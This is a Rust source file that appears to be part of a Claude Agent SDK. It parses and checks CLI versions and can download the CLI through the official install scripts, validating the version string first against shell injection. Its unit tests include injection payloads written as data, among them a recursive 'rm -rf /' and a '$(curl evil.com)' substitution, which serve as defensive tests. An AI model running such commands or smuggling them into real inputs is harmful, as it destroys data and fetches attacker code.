Skip to main content

claude_code_agent_sdk/
version.rs

1//! Version information for the Claude Agent SDK
2
3use std::sync::OnceLock;
4use tracing::info;
5
6/// The version of this SDK
7pub const SDK_VERSION: &str = env!("CARGO_PKG_VERSION");
8
9/// Minimum required Claude Code CLI version
10pub const MIN_CLI_VERSION: &str = "2.0.0";
11
12/// Bundled Claude Code CLI version (build.rs downloads this version when `bundled-cli` feature is enabled)
13pub const CLI_VERSION: &str = "2.1.38";
14
15/// Bundled CLI storage directory (relative to home directory)
16pub(crate) const BUNDLED_CLI_DIR: &str = ".claude/sdk/bundled";
17
18/// Get the full path to the bundled CLI binary.
19///
20/// Returns `Some(path)` where path is `~/.claude/sdk/bundled/{CLI_VERSION}/claude` (or `claude.exe` on Windows).
21/// Returns `None` if the home directory cannot be determined.
22pub fn bundled_cli_path() -> Option<std::path::PathBuf> {
23    dirs::home_dir().map(|home| {
24        let cli_name = if cfg!(target_os = "windows") {
25            "claude.exe"
26        } else {
27            "claude"
28        };
29        home.join(BUNDLED_CLI_DIR).join(CLI_VERSION).join(cli_name)
30    })
31}
32
33/// Environment variable to skip version check
34pub const SKIP_VERSION_CHECK_ENV: &str = "CLAUDE_AGENT_SDK_SKIP_VERSION_CHECK";
35
36/// Entrypoint identifier for subprocess
37pub const ENTRYPOINT: &str = "sdk-rs";
38
39/// Parse a semantic version string into (major, minor, patch)
40pub fn parse_version(version: &str) -> Option<(u32, u32, u32)> {
41    let parts: Vec<&str> = version.trim_start_matches('v').split('.').collect();
42    if parts.len() < 3 {
43        return None;
44    }
45
46    let major = parts[0].parse().ok()?;
47    let minor = parts[1].parse().ok()?;
48    let patch = parts[2].parse().ok()?;
49
50    Some((major, minor, patch))
51}
52
53/// Check if the CLI version meets the minimum requirement
54pub fn check_version(cli_version: &str) -> bool {
55    let Some((cli_maj, cli_min, cli_patch)) = parse_version(cli_version) else {
56        return false;
57    };
58
59    let Some((req_maj, req_min, req_patch)) = parse_version(MIN_CLI_VERSION) else {
60        return false;
61    };
62
63    if cli_maj > req_maj {
64        return true;
65    }
66    if cli_maj < req_maj {
67        return false;
68    }
69
70    // Major versions are equal
71    if cli_min > req_min {
72        return true;
73    }
74    if cli_min < req_min {
75        return false;
76    }
77
78    // Major and minor are equal
79    cli_patch >= req_patch
80}
81
82/// Cached Claude Code CLI version
83static CLAUDE_CODE_VERSION: OnceLock<Option<String>> = OnceLock::new();
84
85/// Get Claude Code CLI version
86///
87/// This function uses OnceLock to cache the result, so the CLI is only called once.
88/// Returns None if CLI is not found or version cannot be determined.
89pub fn get_claude_code_version() -> Option<&'static str> {
90    CLAUDE_CODE_VERSION
91        .get_or_init(|| {
92            std::process::Command::new("claude")
93                .arg("--version")
94                .output()
95                .ok()
96                .filter(|output| output.status.success())
97                .and_then(|output| {
98                    let version_output = String::from_utf8_lossy(&output.stdout);
99                    version_output
100                        .lines()
101                        .next()
102                        .and_then(|line| line.split_whitespace().next())
103                        .map(|v| v.trim().to_string())
104                })
105        })
106        .as_deref()
107}
108
109/// Validate that a version string contains only digits and dots (semver format).
110///
111/// This prevents shell injection when the version is interpolated into install commands.
112fn validate_version_string(version: &str) -> std::result::Result<(), String> {
113    if version.is_empty() {
114        return Err("Version string is empty".to_string());
115    }
116    if !version.chars().all(|c| c.is_ascii_digit() || c == '.') {
117        return Err(format!(
118            "Version string contains invalid characters: '{version}'. Only digits and dots are allowed."
119        ));
120    }
121    Ok(())
122}
123
124/// Download Claude Code CLI to the bundled directory at runtime.
125///
126/// Downloads CLI v[`CLI_VERSION`] to `~/.claude/sdk/bundled/{CLI_VERSION}/claude`.
127/// Returns the path to the downloaded binary.
128///
129/// This is the runtime equivalent of the `build.rs` download that happens
130/// when the `bundled-cli` feature is enabled at compile time.
131///
132/// # Safety considerations
133///
134/// This function executes the official install script from `https://claude.ai/install.sh`
135/// (Unix) or `https://claude.ai/install.ps1` (Windows). It should only be called when
136/// explicitly opted in via `ClaudeAgentOptions::auto_download_cli`.
137///
138/// The version string is validated to contain only digits and dots before being
139/// interpolated into shell commands, preventing injection attacks.
140pub(crate) fn download_cli() -> std::result::Result<std::path::PathBuf, String> {
141    // Validate version string before any shell interpolation
142    validate_version_string(CLI_VERSION)?;
143
144    let bundled_path = bundled_cli_path().ok_or("Cannot determine home directory")?;
145
146    // Already exists, return immediately
147    if bundled_path.exists() {
148        info!("Bundled CLI already exists at: {}", bundled_path.display());
149        return Ok(bundled_path);
150    }
151
152    let bundled_dir = bundled_path.parent().ok_or("Invalid bundled CLI path")?;
153    std::fs::create_dir_all(bundled_dir).map_err(|e| format!("Failed to create directory: {e}"))?;
154
155    // Acquire file lock to prevent concurrent downloads
156    let lock_path = bundled_dir.join(".download.lock");
157    let lock_file = std::fs::File::create(&lock_path)
158        .map_err(|e| format!("Failed to create lock file: {e}"))?;
159    acquire_file_lock(&lock_file)?;
160
161    // Re-check after acquiring lock (another process may have completed download)
162    if bundled_path.exists() {
163        info!(
164            "Bundled CLI appeared after acquiring lock: {}",
165            bundled_path.display()
166        );
167        return Ok(bundled_path);
168    }
169
170    info!(
171        "Downloading Claude Code CLI v{} to {}...",
172        CLI_VERSION,
173        bundled_dir.display()
174    );
175
176    // Platform-specific download
177    #[cfg(not(target_os = "windows"))]
178    let result = download_cli_unix(CLI_VERSION, bundled_dir, &bundled_path);
179
180    #[cfg(target_os = "windows")]
181    let result = download_cli_windows(CLI_VERSION, bundled_dir, &bundled_path);
182
183    // Lock is released when lock_file is dropped
184    drop(lock_file);
185    let _ = std::fs::remove_file(&lock_path);
186
187    result?;
188
189    if bundled_path.exists() {
190        info!(
191            "Claude CLI v{} downloaded to: {}",
192            CLI_VERSION,
193            bundled_path.display()
194        );
195        Ok(bundled_path)
196    } else {
197        Err("CLI binary not found after download. Check network connection.".to_string())
198    }
199}
200
201/// Acquire an exclusive file lock (blocking).
202///
203/// Uses `libc::flock` for reliable cross-process file locking.
204/// This is an FFI call which is the only justified use of `unsafe` per project guidelines.
205#[cfg(unix)]
206fn acquire_file_lock(file: &std::fs::File) -> std::result::Result<(), String> {
207    use std::os::unix::io::AsRawFd;
208    // SAFETY: flock is a standard POSIX syscall. The file descriptor is valid
209    // because it comes from a live std::fs::File. LOCK_EX blocks until the lock
210    // is available and is released when the file descriptor is closed (on drop).
211    let ret = unsafe { libc::flock(file.as_raw_fd(), libc::LOCK_EX) };
212    if ret != 0 {
213        return Err(format!(
214            "Failed to acquire file lock: {}",
215            std::io::Error::last_os_error()
216        ));
217    }
218    Ok(())
219}
220
221/// Acquire an exclusive file lock (blocking) — Windows stub.
222#[cfg(not(unix))]
223fn acquire_file_lock(_file: &std::fs::File) -> std::result::Result<(), String> {
224    // On Windows, file creation itself provides some mutual exclusion.
225    // A proper implementation would use LockFileEx, but for now this is
226    // acceptable since concurrent cargo-dist installs on Windows are rare.
227    Ok(())
228}
229
230/// Generate a unique temporary file name using the process ID to avoid collisions.
231fn unique_tmp_name(prefix: &str, ext: &str) -> String {
232    format!("{prefix}.{pid}{ext}", pid = std::process::id())
233}
234
235/// Download CLI on Unix-like systems using the official install script.
236///
237/// Uses `curl -fsSL https://claude.ai/install.sh | bash -s -- '{version}'`
238/// to install the CLI, then copies it to the bundled directory.
239/// Backs up and restores any existing `~/.local/bin/claude`.
240#[cfg(not(target_os = "windows"))]
241fn download_cli_unix(
242    version: &str,
243    bundled_dir: &std::path::Path,
244    target: &std::path::Path,
245) -> std::result::Result<(), String> {
246    use std::process::Command;
247
248    let home = dirs::home_dir().ok_or("Cannot determine home directory")?;
249    let default_install_path = home.join(".local/bin/claude");
250
251    // Backup existing binary to avoid overwriting user's installation.
252    // Use PID-unique backup name to prevent multi-process collisions.
253    let had_existing = default_install_path.exists();
254    let backup_name = unique_tmp_name(".claude.sdk-backup", "");
255    let backup_path = home.join(".local/bin").join(&backup_name);
256    if had_existing {
257        std::fs::copy(&default_install_path, &backup_path).map_err(|e| {
258            format!(
259                "Failed to backup existing CLI at {}: {e}. Aborting download to avoid data loss.",
260                default_install_path.display()
261            )
262        })?;
263    }
264
265    let install_cmd = format!("curl -fsSL https://claude.ai/install.sh | bash -s -- '{version}'");
266
267    let status = Command::new("bash")
268        .args(["-c", &install_cmd])
269        .status()
270        .map_err(|e| {
271            restore_backup(had_existing, &backup_path, &default_install_path);
272            format!("Failed to execute install script: {e}")
273        })?;
274
275    if !status.success() {
276        restore_backup(had_existing, &backup_path, &default_install_path);
277        return Err(format!(
278            "Install script failed with exit code: {:?}",
279            status.code()
280        ));
281    }
282
283    // Find installed binary from known locations
284    let search_paths = [
285        default_install_path.clone(),
286        std::path::PathBuf::from("/usr/local/bin/claude"),
287    ];
288    let installed = search_paths.iter().find(|p| p.exists()).ok_or_else(|| {
289        restore_backup(had_existing, &backup_path, &default_install_path);
290        "Could not find installed CLI binary after install.sh".to_string()
291    })?;
292
293    // Atomic copy to bundled dir via PID-unique temp file
294    let tmp_name = unique_tmp_name(".claude", ".tmp");
295    let tmp_path = bundled_dir.join(&tmp_name);
296    std::fs::copy(installed, &tmp_path).map_err(|e| format!("Failed to copy CLI: {e}"))?;
297
298    // Set executable permission
299    #[cfg(unix)]
300    {
301        use std::os::unix::fs::PermissionsExt;
302        let mut perms = std::fs::metadata(&tmp_path)
303            .map_err(|e| format!("Failed to read temp file metadata: {e}"))?
304            .permissions();
305        perms.set_mode(0o755);
306        std::fs::set_permissions(&tmp_path, perms)
307            .map_err(|e| format!("Failed to set executable permission: {e}"))?;
308    }
309
310    // Move to final location (fall back to copy if rename fails across filesystems)
311    std::fs::rename(&tmp_path, target)
312        .or_else(|rename_err| {
313            std::fs::copy(&tmp_path, target)
314                .map(|_| ())
315                .map_err(|copy_err| {
316                    format!(
317                        "Failed to move CLI to final path: rename failed ({rename_err}), copy also failed ({copy_err})"
318                    )
319                })
320        })?;
321    let _ = std::fs::remove_file(&tmp_path);
322
323    // Restore user's original CLI binary
324    restore_backup(had_existing, &backup_path, &default_install_path);
325
326    Ok(())
327}
328
329/// Restore a backup file to its original location, cleaning up the backup.
330#[cfg(not(target_os = "windows"))]
331fn restore_backup(
332    had_existing: bool,
333    backup_path: &std::path::Path,
334    original_path: &std::path::Path,
335) {
336    if had_existing && let Err(e) = std::fs::rename(backup_path, original_path) {
337        tracing::warn!(
338            "Failed to restore CLI backup from {} to {}: {}",
339            backup_path.display(),
340            original_path.display(),
341            e
342        );
343    }
344    let _ = std::fs::remove_file(backup_path);
345}
346
347/// Download CLI on Windows using PowerShell.
348#[cfg(target_os = "windows")]
349fn download_cli_windows(
350    version: &str,
351    bundled_dir: &std::path::Path,
352    target: &std::path::Path,
353) -> std::result::Result<(), String> {
354    use std::process::Command;
355
356    let install_cmd = format!(
357        "$ErrorActionPreference='Stop'; irm https://claude.ai/install.ps1 | iex; claude install '{version}'"
358    );
359
360    let status = Command::new("powershell")
361        .args([
362            "-NoProfile",
363            "-ExecutionPolicy",
364            "Bypass",
365            "-Command",
366            &install_cmd,
367        ])
368        .status()
369        .map_err(|e| format!("Failed to execute PowerShell install script: {e}"))?;
370
371    if !status.success() {
372        return Err(format!(
373            "Install script failed with exit code: {:?}",
374            status.code()
375        ));
376    }
377
378    // Find installed binary
379    let home = dirs::home_dir().ok_or("Cannot determine home directory")?;
380    let possible_paths = [
381        home.join("AppData\\Local\\Programs\\Claude\\claude.exe"),
382        home.join("AppData\\Roaming\\npm\\claude.cmd"),
383        home.join(".local\\bin\\claude.exe"),
384    ];
385
386    let installed = possible_paths
387        .iter()
388        .find(|p| p.exists())
389        .ok_or("Could not find installed CLI binary")?;
390
391    // Atomic copy via PID-unique temp file
392    let tmp_name = unique_tmp_name(".claude", ".exe.tmp");
393    let tmp_path = bundled_dir.join(&tmp_name);
394    std::fs::copy(installed, &tmp_path).map_err(|e| format!("Failed to copy CLI: {e}"))?;
395
396    std::fs::rename(&tmp_path, target)
397        .or_else(|rename_err| {
398            std::fs::copy(&tmp_path, target)
399                .map(|_| ())
400                .map_err(|copy_err| {
401                    format!(
402                        "Failed to move CLI to final path: rename failed ({rename_err}), copy also failed ({copy_err})"
403                    )
404                })
405        })?;
406    let _ = std::fs::remove_file(&tmp_path);
407
408    Ok(())
409}
410
411#[cfg(test)]
412mod tests {
413    use super::*;
414
415    #[test]
416    fn test_parse_version() {
417        assert_eq!(parse_version("1.2.3"), Some((1, 2, 3)));
418        assert_eq!(parse_version("v1.2.3"), Some((1, 2, 3)));
419        assert_eq!(parse_version("10.20.30"), Some((10, 20, 30)));
420        assert_eq!(parse_version("1.2"), None);
421        assert_eq!(parse_version("invalid"), None);
422    }
423
424    #[test]
425    fn test_check_version() {
426        assert!(check_version("2.0.0"));
427        assert!(check_version("2.0.1"));
428        assert!(check_version("2.1.0"));
429        assert!(check_version("3.0.0"));
430        assert!(!check_version("1.9.9"));
431        assert!(!check_version("1.99.99"));
432    }
433
434    #[test]
435    fn test_cli_version_format() {
436        assert!(
437            parse_version(CLI_VERSION).is_some(),
438            "CLI_VERSION must be a valid semver string"
439        );
440    }
441
442    #[test]
443    fn test_cli_version_meets_minimum() {
444        assert!(
445            check_version(CLI_VERSION),
446            "CLI_VERSION ({}) must meet MIN_CLI_VERSION ({})",
447            CLI_VERSION,
448            MIN_CLI_VERSION
449        );
450    }
451
452    #[test]
453    fn test_bundled_cli_path_format() {
454        if let Some(path) = bundled_cli_path() {
455            let path_str = path.to_string_lossy();
456            assert!(
457                path_str.contains(".claude/sdk/bundled"),
458                "bundled path must contain '.claude/sdk/bundled': {}",
459                path_str
460            );
461            assert!(
462                path_str.contains(CLI_VERSION),
463                "bundled path must contain CLI_VERSION ({}): {}",
464                CLI_VERSION,
465                path_str
466            );
467        }
468    }
469
470    #[test]
471    fn test_validate_version_string_valid() {
472        assert!(validate_version_string("2.1.38").is_ok());
473        assert!(validate_version_string("0.0.1").is_ok());
474        assert!(validate_version_string("10.20.30").is_ok());
475    }
476
477    #[test]
478    fn test_validate_version_string_rejects_empty() {
479        assert!(validate_version_string("").is_err());
480    }
481
482    #[test]
483    fn test_validate_version_string_rejects_injection() {
484        assert!(validate_version_string("'; rm -rf /; '").is_err());
485        assert!(validate_version_string("1.0.0; echo pwned").is_err());
486        assert!(validate_version_string("$(curl evil.com)").is_err());
487        assert!(validate_version_string("1.0.0-beta").is_err());
488        assert!(validate_version_string("v1.0.0").is_err());
489    }
490
491    #[test]
492    fn test_validate_version_string_rejects_special_chars() {
493        assert!(validate_version_string("1.0.0 ").is_err());
494        assert!(validate_version_string("1.0.0\n").is_err());
495        assert!(validate_version_string("1.0.0\t2.0.0").is_err());
496    }
497
498    #[test]
499    fn test_cli_version_passes_validation() {
500        assert!(
501            validate_version_string(CLI_VERSION).is_ok(),
502            "CLI_VERSION ({}) must pass version validation",
503            CLI_VERSION
504        );
505    }
506
507    #[test]
508    fn test_download_cli_returns_existing_path() {
509        // If the bundled path already exists, download_cli should return it
510        // without attempting any download
511        if let Some(bundled_path) = bundled_cli_path()
512            && bundled_path.exists()
513        {
514            let result = download_cli();
515            assert!(result.is_ok());
516            assert_eq!(result.unwrap(), bundled_path);
517        }
518    }
519
520    #[test]
521    fn test_unique_tmp_name_includes_pid() {
522        let name = unique_tmp_name(".claude", ".tmp");
523        let pid = std::process::id().to_string();
524        assert!(
525            name.contains(&pid),
526            "Temp name '{}' should contain PID '{}'",
527            name,
528            pid
529        );
530    }
531
532    #[test]
533    fn test_unique_tmp_name_format() {
534        let name = unique_tmp_name(".claude", ".tmp");
535        assert!(name.starts_with(".claude."));
536        assert!(name.ends_with(".tmp"));
537    }
538}